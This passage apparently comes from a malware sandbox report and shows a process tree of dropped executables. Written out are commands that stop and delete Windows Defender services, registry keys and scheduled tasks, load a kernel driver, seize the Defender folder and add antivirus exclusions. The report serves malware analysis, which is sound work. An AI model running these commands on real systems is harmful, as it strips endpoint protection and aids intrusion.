                                              11⤵
                                              • Launches sc.exe
                                              PID:3168
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                              11⤵
                                                PID:660
                                              • C:\Windows\system32\sc.exe
                                                sc stop "WdBoot"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4528
                                              • C:\Windows\system32\sc.exe
                                                sc delete "WdBoot"
                                                11⤵
                                                • Launches sc.exe
                                                PID:3180
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                                11⤵
                                                  PID:316
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "WdFilter"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:4972
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "WdFilter"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:4864
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                  11⤵
                                                    PID:3972
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "SgrmAgent"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:4028
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "SgrmAgent"
                                                    11⤵
                                                      PID:1596
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                      11⤵
                                                        PID:4716
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "MsSecWfp"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:4840
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "MsSecWfp"
                                                        11⤵
                                                        • Launches sc.exe
                                                        PID:1324
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                        11⤵
                                                          PID:1956
                                                        • C:\Windows\system32\sc.exe
                                                          sc stop "MsSecFlt"
                                                          11⤵
                                                          • Launches sc.exe
                                                          PID:4128
                                                        • C:\Windows\system32\sc.exe
                                                          sc delete "MsSecFlt"
                                                          11⤵
                                                          • Launches sc.exe
                                                          PID:1228
                                                        • C:\Windows\system32\reg.exe
                                                          reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                          11⤵
                                                            PID:676
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop "MsSecCore"
                                                            11⤵
                                                            • Launches sc.exe
                                                            PID:1876
                                                          • C:\Windows\system32\sc.exe
                                                            sc delete "MsSecCore"
                                                            11⤵
                                                            • Launches sc.exe
                                                            PID:2864
                                                          • C:\Windows\system32\reg.exe
                                                            reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                            11⤵
                                                              PID:2020
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                              11⤵
                                                                PID:3968
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                                11⤵
                                                                  PID:1424
                                                                • C:\Windows\system32\schtasks.exe
                                                                  schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                                  11⤵
                                                                    PID:4296
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                    11⤵
                                                                      PID:2236
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc stop ddrver
                                                                      11⤵
                                                                      • Launches sc.exe
                                                                      PID:4504
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc delete ddrver
                                                                      11⤵
                                                                      • Launches sc.exe
                                                                      PID:2148
                                                          • C:\Users\Admin\AppData\Local\Temp\10375600101\A9cowK5.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\10375600101\A9cowK5.exe"
                                                            6⤵
                                                            • Checks computer location settings
                                                            • Executes dropped EXE
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2544
                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                              "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\f63a82ffaf9f93d1\ScreenConnect.ClientSetup.msi"
                                                              7⤵
                                                              • Enumerates connected drives
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              • Suspicious use of FindShellTrayWindow
                                                              PID:3480
                                                          • C:\Users\Admin\AppData\Local\Temp\10378550101\kO2IdCz.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\10378550101\kO2IdCz.exe"
                                                            6⤵
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            PID:212
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              cmd.exe /c 67e8f4de3ad1d.vbs
                                                              7⤵
                                                              • Checks computer location settings
                                                              • Modifies registry class
                                                              PID:3076
                                                              • C:\Windows\System32\WScript.exe
                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\67e8f4de3ad1d.vbs"
                                                                8⤵
                                                                  PID:3348
                                                            • C:\Users\Admin\AppData\Local\Temp\10378830101\apple.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\10378830101\apple.exe"
                                                              6⤵
                                                              • Checks computer location settings
                                                              • Executes dropped EXE
                                                              • System Location Discovery: System Language Discovery
                                                              PID:4028
                                                              • C:\Users\Admin\AppData\Local\Temp\221.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\221.exe"
                                                                7⤵
                                                                • Checks computer location settings
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                PID:2252
                                                                • C:\Windows\system32\cmd.exe
                                                                  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7C4F.tmp\7C60.tmp\7C61.bat C:\Users\Admin\AppData\Local\Temp\221.exe"
                                                                  8⤵
                                                                    PID:4896
                                                                    • C:\Users\Admin\AppData\Local\Temp\221.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\221.exe" go
                                                                      9⤵
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:2148
                                                                      • C:\Windows\system32\cmd.exe
                                                                        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7D0B.tmp\7D0C.tmp\7D0D.bat C:\Users\Admin\AppData\Local\Temp\221.exe go"
                                                                        10⤵
                                                                        • Drops file in Program Files directory
                                                                        PID:4128
                                                                        • C:\Windows\system32\sc.exe
                                                                          sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                                                                          11⤵
                                                                          • Launches sc.exe
                                                                          PID:3892
                                                                        • C:\Windows\system32\sc.exe
                                                                          sc start ddrver
                                                                          11⤵
                                                                            PID:4196
                                                                          • C:\Windows\system32\timeout.exe
                                                                            timeout /t 1
                                                                            11⤵
                                                                            • Delays execution with timeout.exe
                                                                            PID:5012
                                                                          • C:\Windows\system32\sc.exe
                                                                            sc stop ddrver
                                                                            11⤵
                                                                            • Launches sc.exe
                                                                            PID:4968
                                                                          • C:\Windows\system32\sc.exe
                                                                            sc start ddrver
                                                                            11⤵
                                                                            • Launches sc.exe
                                                                            PID:232
                                                                          • C:\Windows\system32\takeown.exe
                                                                            takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                                                                            11⤵
                                                                            • Possible privilege escalation attempt
                                                                            • Modifies file permissions
                                                                            PID:4308
                                                                          • C:\Windows\system32\icacls.exe
                                                                            icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                                                                            11⤵
                                                                            • Possible privilege escalation attempt
                                                                            • Modifies file permissions
                                                                            PID:4320
                                                                          • C:\Windows\system32\sc.exe
                                                                            sc stop "WinDefend"
                                                                            11⤵
                                                                            • Launches sc.exe
                                                                            PID:1244
                                                                          • C:\Windows\system32\sc.exe
                                                                            sc delete "WinDefend"
                                                                            11⤵
                                                                            • Launches sc.exe
                                                                            PID:2568
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                                                                            11⤵
                                                                              PID:1300
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc stop "MDCoreSvc"
                                                                              11⤵
                                                                              • Launches sc.exe
                                                                              PID:1388
                                                                            • C:\Windows\system32\sc.exe
                                                                              sc delete "MDCoreSvc"
                                                                              11⤵
                                                                                PID:2896
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                                                                                11⤵
                                                                                  PID:2512
                                                                                • C:\Windows\system32\sc.exe
                                                                                  sc stop "WdNisSvc"
                                                                                  11⤵
                                                                                  • Launches sc.exe
                                                                                  PID:5060
                                                                                • C:\Windows\system32\sc.exe
                                                                                  sc delete "WdNisSvc"
                                                                                  11⤵
                                                                                  • Launches sc.exe
                                                                                  PID:1816
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                                                                                  11⤵
                                                                                    PID:4452
                                                                                  • C:\Windows\system32\sc.exe
                                                                                    sc stop "Sense"
                                                                                    11⤵
                                                                                    • Launches sc.exe
                                                                                    PID:3012
                                                                                  • C:\Windows\system32\sc.exe
                                                                                    sc delete "Sense"
                                                                                    11⤵
                                                                                    • Launches sc.exe
                                                                                    PID:4632
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                                                                    11⤵
                                                                                      PID:444
                                                                                    • C:\Windows\system32\sc.exe
                                                                                      sc stop "wscsvc"
                                                                                      11⤵
                                                                                        PID:4056
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        sc delete "wscsvc"
                                                                                        11⤵
                                                                                          PID:1284
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                                                                          11⤵
                                                                                            PID:4408
                                                                                          • C:\Windows\system32\sc.exe
                                                                                            sc stop "SgrmBroker"
                                                                                            11⤵
                                                                                              PID:1556
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              sc delete "SgrmBroker"
                                                                                              11⤵
                                                                                              • Launches sc.exe
                                                                                              PID:2288
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                                                                              11⤵
                                                                                                PID:3668
                                                                                              • C:\Windows\system32\sc.exe
                                                                                                sc stop "SecurityHealthService"
                                                                                                11⤵
                                                                                                • Launches sc.exe
                                                                                                PID:5028
                                                                                              • C:\Windows\system32\sc.exe
                                                                                                sc delete "SecurityHealthService"
                                                                                                11⤵
                                                                                                  PID:1484
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                                                                                  11⤵
                                                                                                    PID:1044
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc stop "webthreatdefsvc"
                                                                                                    11⤵
                                                                                                      PID:3664
                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                      sc delete "webthreatdefsvc"
                                                                                                      11⤵
                                                                                                      • Launches sc.exe
                                                                                                      PID:4972
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                                                                                      11⤵
                                                                                                        PID:2332
                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                        sc stop "webthreatdefusersvc"
                                                                                                        11⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:1876
                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                        sc delete "webthreatdefusersvc"
                                                                                                        11⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:3816
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                                                                                        11⤵
                                                                                                          PID:3752
                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                          sc stop "WdNisDrv"
                                                                                                          11⤵
                                                                                                          • Launches sc.exe
                                                                                                          PID:4028
                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                          sc delete "WdNisDrv"
                                                                                                          11⤵
                                                                                                          • Launches sc.exe
                                                                                                          PID:2864
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                                                                                          11⤵
                                                                                                            PID:540
                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                            sc stop "WdBoot"
                                                                                                            11⤵
                                                                                                              PID:440
                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                              sc delete "WdBoot"
                                                                                                              11⤵
                                                                                                              • Launches sc.exe
                                                                                                              PID:2648
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                                                                                              11⤵
                                                                                                                PID:1440
                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                sc stop "WdFilter"
                                                                                                                11⤵
                                                                                                                • Launches sc.exe
                                                                                                                PID:4504
                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                sc delete "WdFilter"
                                                                                                                11⤵
                                                                                                                • Launches sc.exe
                                                                                                                PID:4324
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                                                                                11⤵
                                                                                                                  PID:4980
                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                  sc stop "SgrmAgent"
                                                                                                                  11⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:3092
                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                  sc delete "SgrmAgent"
                                                                                                                  11⤵
                                                                                                                  • Launches sc.exe
                                                                                                                  PID:3204
                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                  reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                                                                                  11⤵
                                                                                                                    PID:4624
                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                    sc stop "MsSecWfp"
                                                                                                                    11⤵
                                                                                                                    • Launches sc.exe
                                                                                                                    PID:3596
                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                    sc delete "MsSecWfp"
                                                                                                                    11⤵
                                                                                                                    • Launches sc.exe
                                                                                                                    PID:5040
                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                    reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                                                                                    11⤵
                                                                                                                      PID:5012
                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                      sc stop "MsSecFlt"
                                                                                                                      11⤵
                                                                                                                      • Launches sc.exe
                                                                                                                      PID:4968
                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                      sc delete "MsSecFlt"
                                                                                                                      11⤵
                                                                                                                      • Launches sc.exe
                                                                                                                      PID:3488
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                                                                                      11⤵
                                                                                                                        PID:752
                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                        sc stop "MsSecCore"
                                                                                                                        11⤵
                                                                                                                        • Launches sc.exe
                                                                                                                        PID:4320
                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                        sc delete "MsSecCore"
                                                                                                                        11⤵
                                                                                                                        • Launches sc.exe
                                                                                                                        PID:4008
                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                                                                                        11⤵
                                                                                                                          PID:2568
                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                                                                                          11⤵
                                                                                                                            PID:1300
                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                                                                                            11⤵
                                                                                                                              PID:1388
                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                              schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                                                                                              11⤵
                                                                                                                                PID:3016
                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                                                                                11⤵
                                                                                                                                  PID:3616
                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                  sc stop ddrver
                                                                                                                                  11⤵
                                                                                                                                  • Launches sc.exe
                                                                                                                                  PID:4788
                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                  sc delete ddrver
                                                                                                                                  11⤵
                                                                                                                                  • Launches sc.exe
                                                                                                                                  PID:4452
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10380220101\amnew.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10380220101\amnew.exe"
                                                                                                                        6⤵
                                                                                                                        • Checks computer location settings
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Drops file in Windows directory
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:3752
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
                                                                                                                          7⤵
                                                                                                                          • Downloads MZ/PE file
                                                                                                                          • Checks computer location settings
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Adds Run key to start application
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:4324
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe"
                                                                                                                            8⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                            PID:1332
                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                              9⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              PID:3004
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
                                                                                                                            8⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:2824
                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                              9⤵
                                                                                                                                PID:3816
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              PID:1764
                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                9⤵
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:444
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:2856
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-R9EHL.tmp\Bell_Setup16.tmp
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-R9EHL.tmp\Bell_Setup16.tmp" /SL5="$B02D0,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
                                                                                                                                9⤵
                                                                                                                                • Checks computer location settings
                                                                                                                                • Executes dropped EXE
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:4028
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
                                                                                                                                  10⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:3196
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-MA2DI.tmp\Bell_Setup16.tmp
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-MA2DI.tmp\Bell_Setup16.tmp" /SL5="$1101EA,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
                                                                                                                                    11⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                    PID:2512
                                                                                                                                    • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                      "regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\1wlanapi.ocx"
                                                                                                                                      12⤵
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:3468
                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"
                                                                                                                                        13⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        PID:1300
                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
                                                                                                                                        "PowerShell.exe" -NoProfile -NonInteractive -Command -
                                                                                                                                        13⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:1496
                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/s /i:INSTALL \"%APPDATA%\1wlanapi.ocx\"' }) { exit 0 } else { exit 1 }"
                                                                                                                                        13⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:1456
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:5192
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -Command "Try { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\BExplorer\" -Force -ErrorAction Stop } Catch { exit 0 }"
                                                                                                                                9⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                PID:5640
                                                                                                                              • C:\Users\Admin\AppData\Roaming\BExplorer\bot.exe
                                                                                                                                C:\Users\Admin\AppData\Roaming\BExplorer\bot.exe
                                                                                                                                9⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:6312
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell -Command "Try { Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\BExplorer\" -Force -ErrorAction Stop } Catch { exit 0 }"
                                                                                                                                  10⤵
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  PID:6348
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10045200101\50981a7f32.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10045200101\50981a7f32.exe"
                                                                                                                              8⤵
                                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Identifies Wine through registry keys
                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:7060
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10045200101\50981a7f32.exe"
                                                                                                                                9⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:6500
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10045210101\8ffa067850.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10045210101\8ffa067850.exe"
                                                                                                                              8⤵
                                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                              • Checks BIOS information in registry
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Identifies Wine through registry keys
                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:6540
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10045210101\8ffa067850.exe"
                                                                                                                                9⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:6712
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10045220101\e269e6c0d6.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10045220101\e269e6c0d6.exe"
                                                                                                                              8⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:5980
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10380550101\e9ea3a76fa.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10380550101\e9ea3a76fa.exe"
                                                                                                                          6⤵
                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                          • Checks BIOS information in registry
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Identifies Wine through registry keys
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:2880
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10381290101\NP4kBrG.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10381290101\NP4kBrG.exe"
                                                                                                                          6⤵
                                                                                                                          • Checks computer location settings
                                                                                                                          • Drops startup file
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Adds Run key to start application
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:1348
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10381290101\NP4kBrG.exe'
                                                                                                                            7⤵
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:2084
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'NP4kBrG.exe'
                                                                                                                            7⤵
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:4684
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\smss.exe'
                                                                                                                            7⤵
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:2148
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'smss.exe'
                                                                                                                            7⤵
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:2692
                                                                                                                          • C:\Windows\System32\schtasks.exe
